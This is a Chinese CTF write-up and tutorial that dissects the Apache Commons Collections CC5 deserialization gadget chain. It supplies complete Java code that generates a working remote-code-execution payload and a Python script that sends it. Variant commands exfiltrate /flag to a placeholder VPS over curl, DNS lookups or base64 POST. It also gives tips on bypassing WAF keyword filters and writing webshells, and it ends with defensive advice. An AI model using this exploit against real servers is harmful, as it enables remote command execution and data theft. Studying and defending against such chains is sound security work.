Java反序列化漏洞实战:从CC5链原理到CTF利用与防御
1. 从一道CTF题看Java反序列化的“艺术”
最近在复盘一场CTF比赛,遇到了一道典型的Java反序列化题目,它巧妙地利用了Apache Commons Collections库中的CC5利用链。这道题本身并不复杂,但解题过程却像剥洋葱一样,一层层揭示了Java反序列化漏洞利用的精妙之处。对于很多刚接触Java安全或者CTF Web方向的朋友来说,反序列化漏洞总是带着一层神秘面纱,尤其是各种以“CC”开头的利用链,听起来就让人头大。今天,我就以这道实战题目为引子,带你彻底拆解CC5链,不仅让你看懂这道题怎么解,更让你明白它为什么能这么解,以及在实际的代码审计和漏洞利用中,我们该如何思考和操作。
简单来说,这道题给了一个Java Web应用,存在一个接收序列化数据的接口。你的目标就是构造一个特殊的序列化数据(Payload),让服务端在反序列化时执行你预设的命令,从而拿到藏在服务器上的flag。题目提示了涉及Apache Commons Collections库,这几乎明示了要使用经典的CC链。而CC5链,作为CC1链在高版本Java(8u71之后)受限后的重要补充,其利用思路非常经典,涉及 TiedMapEntry 、 LazyMap 、 BadAttributeValueExpException 等多个关键类的巧妙组合。理解它,是深入Java反序列化漏洞利用的必经之路。
2. 题目环境与核心思路解析
2.1 目标场景与漏洞点定位
首先,我们需要模拟出题目的环境。通常,这类题目的后端代码核心会包含类似下面的片段:
// 伪代码,模拟存在漏洞的端点
@PostMapping("/vuln-endpoint")
public String processData(@RequestBody byte[] data) {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
Object obj = ois.readObject(); // 危险的反序列化操作
// ... 后续处理 ...
return "Processing completed.";
} catch (Exception e) {
return "Error occurred.";
}
}
漏洞点非常清晰:程序直接对用户可控的二进制数据进行了 ObjectInputStream.readObject() 反序列化操作,且类路径下包含了有问题的第三方库——Apache Commons Collections(版本通常为3.x, 例如3.2.1)。这个库提供了一系列好用的集合类工具,但其中一些类的设计在特定组合下,会形成危险的“利用链”(Gadget Chain)。
我们的核心攻击思路,就是构造一个对象,这个对象在被反序列化时,其 readObject 方法会触发一系列连锁调用,最终导向 Runtime.getRuntime().exec(“恶意命令”) 。CC5链就是实现这一目标的“剧本”之一。
2.2 为什么是CC5?CC1的局限与CC5的登场
在深入CC5之前,必须提一下它的前辈CC1。CC1链的核心是利用 TransformedMap 或 LazyMap 配合 AnnotationInvocationHandler 。 AnnotationInvocationHandler 的 readObject 方法会遍历Map并调用其 setValue 或 get 方法,从而触发我们预设的 Transformer 调用链。
然而,这个链在Java 8u71版本之后失效了。因为从该版本起, AnnotationInvocationHandler 的 readObject 方法逻辑被修改,不再以相同的方式触发Map的修改操作。这就迫使安全研究人员寻找新的“入口类”(即反序列化时第一个被自动调用的 readObject 的类)。
CC5链应运而生。它找到了一个新的入口类: javax.management.BadAttributeValueExpException 。这个类在反序列化时,会调用其成员变量的 toString 方法。通过精心构造,我们可以让这个 toString 调用一路传递,最终触发命令执行。CC5链完美避开了对 AnnotationInvocationHandler 的依赖,因此在更高版本的Java环境中依然有效。
3. CC5利用链的深度拆解
一条完整的利用链,就像一套精密的多米诺骨牌。我们需要理解每一张“牌”是什么,以及它们是如何被推倒并传递动力的。
3.1 链式调用全景图
先来看CC5链的完整调用栈(Gadget Chain):
java.io.ObjectInputStream.readObject()
javax.management.BadAttributeValueExpException.readObject()
valMember.toString()
org.apache.commons.collections.keyvalue.TiedMapEntry.toString()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
我们来逐层拆解这个调用过程:
- 起点(入口点) :
BadAttributeValueExpException.readObject()。这是反序列化过程自动触发的起点。在该类的readObject方法中,有一行关键代码:valObj.toString()。这里的valObj是它的一个成员变量。 - 桥梁 :我们将
valObj设置为一个TiedMapEntry对象。因此,valObj.toString()实际上调用了TiedMapEntry.toString()。 - 触发器 :
TiedMapEntry.toString()方法内部调用了this.getValue()。 - 核心枢纽 :
TiedMapEntry.getValue()方法内部调用了this.map.get(this.key)。这里,this.map被我们设置为一个LazyMap对象。 - 执行引擎 :
LazyMap.get(key)方法是整个链的“发动机”。当LazyMap中不存在某个key时,它会使用一个Transformer(我们预设的ChainedTransformer)来“懒加载”一个值。这个Transformer就是我们植入的恶意代码。 - 命令执行 :
ChainedTransformer包含了一系列InvokerTransformer,它们通过Java反射机制,最终调用Runtime.getRuntime().exec(“cmd”),完成命令执行。
3.2 关键类与方法的剖析
-
BadAttributeValueExpException: 来自Java标准库(javax.management)。它的readObject方法在反序列化时会读取一个字段val,并调用其toString()。我们需要通过反射,在序列化前将val字段设置为我们构造的TiedMapEntry对象。这里有个小坑:该类的构造函数或某些条件可能会影响val的赋值,通常我们直接通过反射来设置,确保可控。 -
TiedMapEntry(Apache Commons Collections) : 这是一个键值对包装类。它有两个关键方法:getValue(): 返回map.get(key)的结果。toString(): 内部调用了getValue()。 正是toString()到getValue()的调用,将入口点的触发传递到了我们的LazyMap上。
-
LazyMap(Apache Commons Collections) : 这是一个装饰器模式的Map。它的核心特性是:当你调用get(key)方法时,如果Map中不存在这个key,它会使用一个Transformer工厂来生成一个value,并将其放入Map。这个“工厂”就是我们恶意的ChainedTransformer。我们需要确保在触发时,LazyMap中 没有 我们指定的key,这样才能走到transform的逻辑。 -
ChainedTransformer与InvokerTransformer(Apache Commons Collections) : 这是最终执行恶意代码的地方。ChainedTransformer: 像一个流水线,按顺序执行一组Transformer。InvokerTransformer: 一个危险的Transformer,它可以通过反射调用任意对象的任意方法。 我们构造的ChainedTransformer通常包含以下步骤的InvokerTransformer:
ConstantTransformer(Runtime.class): 获取Runtime的Class对象。InvokerTransformer(“getMethod”, …): 反射调用getMethod(“getRuntime”),获取getRuntime这个静态方法。InvokerTransformer(“invoke”, …): 反射调用上一步获取的方法(传入null,因为是静态方法),得到Runtime.getRuntime()返回的Runtime单例对象。InvokerTransformer(“exec”, …): 反射调用runtime.exec(“你的命令”)。
关键理解 :整个链的精髓在于“控制流转移”。利用反序列化自动调用
readObject的特性,从一个无害的异常类开始,通过一系列符合语法的、看似正常的类方法调用(toString->getValue->get->transform),将程序的控制流一步步引导到我们预设的反射调用上,最终达成任意命令执行。这完全是在利用Java对象序列化/反序列化机制和库类本身的功能,没有修改任何字节码。
4. 手把手构造CC5利用Payload
理论讲完了,我们直接上代码,看看如何从零构造一个能弹计算器(或执行其他命令)的Payload。这里我会用最清晰的步骤,并解释每一步的意图和可能遇到的坑。
4.1 环境准备与依赖
首先,你需要一个Java项目,并引入有漏洞的Commons Collections库。以Maven为例:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version> <!-- 经典漏洞版本 -->
</dependency>
我们的攻击代码(生成Payload的代码)和靶场代码可以放在同一个项目里,方便测试。
4.2 分步构造Payload
以下是完整的、带有详细注释的Payload生成代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5PayloadGenerator {
public static void main(String[] args) throws Exception {
// 步骤1:构造最终执行命令的 Transformer 链
// 这是我们的恶意代码“指令集”
Transformer[] transformers = new Transformer[]{
// 第一步:获取 Runtime.class 对象
new ConstantTransformer(Runtime.class),
// 第二步:反射调用 Runtime.class.getMethod("getRuntime"),得到一个Method对象
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 第三步:反射调用 method.invoke(null),执行静态方法 getRuntime(),得到 Runtime 实例
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 第四步:反射调用 runtime.exec("calc"),弹出计算器
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // Linux/Mac可改为"/bin/bash", "-c", "your_command"
)
};
// 将多个Transformer串联成一个执行链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 步骤2:创建 LazyMap 并绑定 Transformer 链
// 先创建一个空的HashMap作为LazyMap的底层Map
Map innerMap = new HashMap();
// 使用 LazyMap.decorate 方法,将 innerMap 装饰成 LazyMap,并指定转换工厂为 chainedTransformer
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 步骤3:创建 TiedMapEntry,将其与 LazyMap 绑定
// TiedMapEntry 的构造参数是 Map 和一个 key。
// 注意:这个 key (“pwn”) 在 lazyMap 中必须不存在,否则后续 get() 不会触发 transform
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "pwn");
// 步骤4:创建 BadAttributeValueExpException 并注入 TiedMapEntry
BadAttributeValueExpException badAttributeExp = new BadAttributeValueExpException(null);
// 通过反射获取其私有字段 `val`,并将值设置为我们的 tiedMapEntry
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true); // 突破私有限制
valField.set(badAttributeExp, tiedMapEntry);
// 步骤5:序列化恶意对象
byte[] serializedPayload = serialize(badAttributeExp);
System.out.println("Payload 生成成功,长度: " + serializedPayload.length + " 字节");
// 步骤6:本地模拟反序列化触发(测试用)
System.out.println("开始模拟反序列化...");
unserialize(serializedPayload);
System.out.println("如果看到计算器弹出,则链构造成功!");
}
// 序列化工具方法
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
}
return baos.toByteArray();
}
// 反序列化工具方法(模拟靶机)
public static void unserialize(byte[] bytes) throws Exception {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais)) {
ois.readObject(); // 触发点
}
}
}
运行这段代码,如果你的环境配置正确,应该会看到系统计算器被弹出。这说明我们构造的Payload是有效的。
4.3 关键步骤的“避坑”指南
在实际构造中,你可能会遇到一些意想不到的问题,下面是我踩过坑后总结的经验:
-
LazyMap的Key必须不存在 :这是最容易出错的地方。在构造TiedMapEntry时,我们传入了一个key(例如”pwn”)。这个key在lazyMap中必须 不存在 。如果lazyMap里已经有了这个key,那么lazyMap.get(“pwn”)会直接返回已有的value,而不会触发transform工厂方法。我们的innerMap一开始就是空的,所以这一点自然满足。但在更复杂的链构造中(比如CC6),如果之前不小心调用了put或触发了get,就需要手动remove这个key。 -
BadAttributeValueExpException的val字段赋值 :直接通过构造函数new BadAttributeValueExpException(tiedMapEntry)在某些JDK版本下可能无效,因为其readObject逻辑可能对val有特殊处理。最稳妥的方式就是像上面代码一样,通过反射直接设置私有字段val。这是通用性最强的做法。 -
命令的兼容性 :
Runtime.exec()执行命令是平台相关的。在Windows上弹计算器是”calc.exe”,在Linux/Mac上可能是”gnome-calculator”或”open -a Calculator”。在CTF中,通常目标是获取flag,所以命令可能是”/bin/sh”, “-c”, “cat /flag”或”powershell -c …”。构造Payload时要考虑目标服务器的操作系统。 -
JDK版本问题 :CC5链虽然绕过了
AnnotationInvocationHandler的限制,但它依赖的BadAttributeValueExpException类在 极少数 非常老的JDK版本中可能不存在或行为不同。主流的JDK 7/8/11+都是可用的。在CTF比赛中,出题人通常会确保环境兼容。 -
Commons Collections版本 :务必使用存在漏洞的版本,如3.2.1。3.2.2版本修复了相关漏洞。你可以通过Maven引入,或者直接下载jar包。
5. 实战CTF题解与高级利用技巧
现在,让我们回到最初的CTF题目。假设题目提供了一个Web接口,接收POST请求,Body是序列化后的二进制数据。我们的解题流程如下:
5.1 信息收集与确认
- 确认漏洞点 :通过题目描述、源码泄露(如
.git)、或报错信息,确认存在ObjectInputStream.readObject()且类路径下有commons-collections-3.2.1.jar。 - 确定利用链 :题目提示或通过常见链探测,确定使用CC5链。你可以先发送一个简单的CC1 Payload(如果环境是低版本Java),如果失败,再尝试CC5、CC6等。
5.2 生成与发送Payload
我们不会在本地弹计算器,而是要执行能读取flag或反弹shell的命令。
// 修改 transformers 数组中的最后一条命令
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 假设flag在 /flag 文件,使用 curl 外带数据到你的服务器
new InvokerTransformer("exec",
new Class[]{String[].class},
new Object[]{new String[]{"/bin/bash", "-c", "curl http://your-vps-ip:port/`cat /flag`"}}
)
// 或者使用 base64 编码避免特殊字符问题
// new Object[]{new String[]{"/bin/bash", "-c", "echo `cat /flag|base64` | xxd -p -r | base64 -d | curl -X POST --data-binary @- http://your-vps-ip:port"}}
};
生成Payload的代码不变,只是替换了命令部分。然后,将 serialize(badAttributeExp) 得到的 byte[] 数组,通过Burp Suite、Python脚本或其他工具,以二进制形式发送到目标接口。
# 一个简单的Python发送示例
import requests
with open('cc5_payload.bin', 'rb') as f:
payload = f.read()
url = 'http://靶机地址:端口/vuln-endpoint'
headers = {'Content-Type': 'application/octet-stream'} # 有时需要这个头
resp = requests.post(url, data=payload, headers=headers)
print(resp.text)
5.3 无回显命令执行与盲注
很多CTF题目是“无回显”的,即命令执行了,但响应里看不到结果。这时就需要“外带数据”(Out-of-Band, OOB)。
- DNS外带 :使用
ping或nslookup命令,将flag作为域名的一部分发送到你的DNS服务器。- 命令示例:
/bin/bash -c “pingcat /flag | tr -d ‘\n’.your-vps-ip.dnslog.cn” - 你需要使用一个DNSLog平台(如ceye.io, dnslog.cn)来接收记录。
- 命令示例:
- HTTP外带 :如上例所示,使用
curl或wget将flag作为URL参数或POST数据发送到你的HTTP服务器。- 在你的VPS上使用
nc -lvp 80或python3 -m http.server 80监听。
- 在你的VPS上使用
- 延时盲注 :如果网络完全不通,可以考虑使用
sleep命令通过响应时间来判断命令是否执行成功(布尔盲注),但这在反序列化漏洞利用中比较少见。
5.4 绕过可能的限制
实战或比赛中,可能会遇到一些限制:
- SecurityManager/沙箱 :如果目标设置了Java安全管理器,可能会禁止执行命令或反射。这时需要寻找其他利用链(如CC链的TemplatesImpl加载字节码),或者利用现有类进行文件读写、SSRF等。
- WAF/过滤 :可能会过滤
Runtime、exec、invoke等关键词。可以采用反射字符串拼接、编码(如Base64、Hex)、或使用其他类(如ProcessBuilder)来绕过。- 例如,用
(String)Class.forName(“java.lang.Run”+”time”).getMethod(“getRun”+”time”).invoke(null)来拼接。
- 例如,用
- 不出网 :目标服务器无法访问外网。这时可能需要尝试写入Webshell到可访问目录,或者利用反序列化触发本地文件读取,将flag打印到HTTP响应中(如果应用有回显的话)。
6. 从CC5到CC6:利用链的通用化演进
在文章开头提到的参考资料中,提到了CC6链。CC6可以看作是CC5的一个“通用化”升级版。它的核心改进在于 入口点 。
- CC5的入口点 :
BadAttributeValueExpException。这个类并非在所有环境中都可用(例如某些受限的J2EE环境可能没有引入JMX相关包)。 - CC6的入口点 :
java.util.HashMap。这是Java标准库中最常用、几乎必然存在的类之一,通用性极强。
CC6链的调用栈大致如下:
HashMap.readObject()
-> HashMap.hash()
-> TiedMapEntry.hashCode() // 这里调用了 getValue()
-> TiedMapEntry.getValue()
-> LazyMap.get()
... // 后续和CC5一样
它利用 HashMap 在反序列化时为了计算哈希值,会调用其键(Key)的 hashCode() 方法。如果我们把 HashMap 的Key设置为 TiedMapEntry 对象,那么就会触发后续链条。CC6的构造需要额外注意在 put 操作时避免提前触发漏洞,通常采用“先占位后替换”的技巧,这在参考资料中也有体现。
理解CC5是理解CC6的基础。它们共享了从 TiedMapEntry 到 LazyMap 再到 ChainedTransformer 的后半段“执行链”,只是启动这段链的“扳机”不同。掌握了这种“入口点”寻找和“链式调用”构造的思维,你就能更好地理解和利用其他反序列化漏洞。
7. 防御视角与安全开发建议
作为攻击者,我们研究利用链;作为开发者,我们更应思考如何防御。
- 升级与替换 :最根本的,将Apache Commons Collections库升级到安全版本(如4.4+,但要注意API变化),或使用其他安全的替代库(如Google Guava)。
- 反序列化过滤 :不要直接反序列化不可信数据。如果必须使用,应实施严格的反序列化过滤器。
- Java 9+ :使用
ObjectInputFilter(JEP 290)来定义允许或拒绝反序列化的类白名单/黑名单。 - 第三方库 :使用如
SerialKiller、Hessian的SerializerFactory白名单等。
- Java 9+ :使用
- 代码审计重点 :在代码审计中,重点关注
ObjectInputStream.readObject()、readUnshared()、XMLDecoder、XStream、Hessian、Kryo等反序列化操作的点,其输入源是否用户可控。 - 运行时防护 :在容器或应用层面,可以使用RASP(运行时应用自保护)技术来监控和阻断危险的反射、命令执行等行为。
这道CTF题目就像一把钥匙,打开了Java反序列化漏洞利用的大门。CC5链的构造过程,充满了对Java对象模型、序列化机制和第三方库代码的深刻理解。从分析 readObject 入口,到串联 toString 、 getValue 、 get 、 transform 这一系列方法调用,再到最终通过反射执行命令,每一步都需要精准的控制。希望这篇详细的拆解,能帮助你不仅解出这道题,更能建立起分析Java反序列化利用链的通用方法论。在安全研究的道路上,知其然,更要知其所以然。
更多推荐


所有评论(0)